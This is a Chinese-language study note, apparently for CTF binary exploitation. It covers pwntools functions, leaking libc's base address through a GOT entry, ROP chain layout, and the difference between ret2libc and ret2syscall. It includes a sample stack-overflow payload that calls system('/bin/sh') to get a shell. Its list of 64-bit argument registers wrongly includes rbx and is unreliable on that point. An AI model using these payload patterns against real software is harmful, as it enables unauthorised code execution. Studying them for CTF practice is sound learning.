
首先加载库函数 (pwntools)
from pwn import *
常用函数
shellcraft.sh() # 字符串类型的shellcode
asm() asm(shellcraft.sh()) # 将字符串打包成机器可执行的字节码,通常需要对shellcode进行打包
context.arch = 'amd64' # 将架构改为64位
p = process('./vul') # 加载这个程序的进程
p.recvuntil("xxx") # 让程序断在xxx的位置
test = p.recv(8) # 接收8个字符给test
int(test,16) # 把字符串类型的test转换成16进制的整数类型
p.sendline(payload) # 向程序发送payload
p.interactive() # 执行程序
elf = ELF('./ret2libc') # 通过ELF()函数来加载程序,后续便可通过elf.plt来调用程序中的函数
system_plt = elf.plt['system'] # 通过plt表获取程序中system函数的地址
next(elf.search(b"/bin/sh")) # 直接通过next和elf.search函数找到"/bin/sh"字符串的地址
cyclic(0x88) # 随机生成0x88长度的垃圾字符
p32(0x123) # 将字符串转换为字节码
hex(u32('\x巴拉巴拉')) # 将字节码转换为字符串并以十六进制显示
=====================================================================================================
libc = ELF("./libc-2.23.so")
write_got = elf.got['write'] # 得到write在got表中表项的地址,这个表项中存放的才是write的真实地址,**非常重要****
p.sendline(str(write_got))
p.recvuntil(b":")
write_addr = int(p.recvuntil(b"\n"), 16) # 这里是程序中有输出我们输入的地址处的内容的功能,所以我们结合此输出获取到write在libc中的真实地址
libc_write = libc.symbols['write'] # 得到write函数在libc中的偏移
libc_base = write_addr - libc_write # write的真实地址-write在libc中的偏移地址 ==> 得到libc的基地址
# 如果程序中没有system函数,那么plt表中就没有system地址,所以只能从libc中去找system
libc_system = libc_base + libc.symbols['system'] # 得到libc中system的地址(libc的基地址+system在libc中的偏移)
libc_bin_sh = libc_base + next(libc.search('/bin/sh')) # 得到libc中/bin/sh的地址(libc的基地址+/bin/sh在libc中的偏移)
chr() # 将字符代码(ascll码)转换为字符串
ord() # 将字符串转换成ascll码
p.sendline(b"/bin/sh\x00") # \x00是截断符
flat(xxx) # 将xxx扩展成一个单位字长的字节型数据,即p32(xxx)/p64(xxx)
pause() # 将exp在此处断下来,并生成一个进程pid
addr = int(p.recvuntil(b'AAA',drop=True),16) # drop=True的作用是不包括'AAA'

所以拿到elf.got[‘write’]后,它的内容才是write在libc中的实际地址。并且由此可见,got表中存放的的确是函数的实际地址。这二者并不矛盾。
sendline 和 send的区别:sendline会默认输入一个换行符,而send不会;
fgets和read的区别:fgets函数读入数据时遇到换行符会停止,而read会把包括换行符的所有字符全部读入进去。
ret2libc的溢出规则
函数执行原理
注意:ret2libc中栈中指令的执行是隔一个来执行的
原因:system函数和exit函数的汇编指令开头都是push ebp;mov ebp,esp;即会申请自己的一块栈帧,但父函数会保存子函数的参数和返回地址(子函数会保存父函数的ebp),所以system上面的地址保存的是它的返回地址,再往上才是它的栈帧。子函数会保存父函数的ebp,exit函数也是同样的原理。下图中上边为高地址,下边为低地址。system的下方为它的栈帧,高地址处的”bin/sh“为它的参数。(栈溢出都是从低地址向高地址进行溢出(小端),函数调用时执行汇编指令我们也会发现,先传入参数(高地址),然后再调用函数(低地址))

构造rop链通用结构
这个行为也称为平衡栈(在调用函数后清楚栈上push的内容),即在调用plt表中的函数后面加一个pop ret的指令片段。


# 示例payload
payload = cyclic(0x88) + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(pop_ebx_ret) + p32(buf)
p.sendline(payload)
p.sendline(b"/bin/sh\x00") # 把/bin/sh输入到buf中
p.interactive()
64位的exp构造rop链要注意函数的参数要通过寄存器来传递
ret2syscall 和 ret2libc(64位)的区别
- ret2syscall是通过查找pop eax;ret; pop rbx;ret; pop rcx;ret; pop rdx;ret; 等指令片段的地址来构造rop链,最终执行某个函数的功能,如execve()函数的eax是0xb,最终实现的是execve(/bin/sh,0,0);构造好rop链后执行int 0x80(32位的系统调用,64位是syscall)来使上面构造好的rop链系统调用函数执行。
- ret2libc是通过查找plt表中的程序本来就有的函数(如system、read函数等)来实现shell的获取(如实现system(‘/bin/sh’)来获取shell),32位的函数参数通过栈传递,所以不需要构造rop链,但需要注意的是执行libc时栈中数据是隔一个来执行的,见上图。64位系统的函数参数需要通过寄存器来传递,所以才需要构造rop链来传递参数。64位传递参数的寄存器依次为rdi,rsi,rdx,rcx,rbx,r8,r9,必须按照这个顺序来构造rop链传递参数,并且是先传参,后执行函数。
libc 调用函数过程


动态链接程序的执行过程
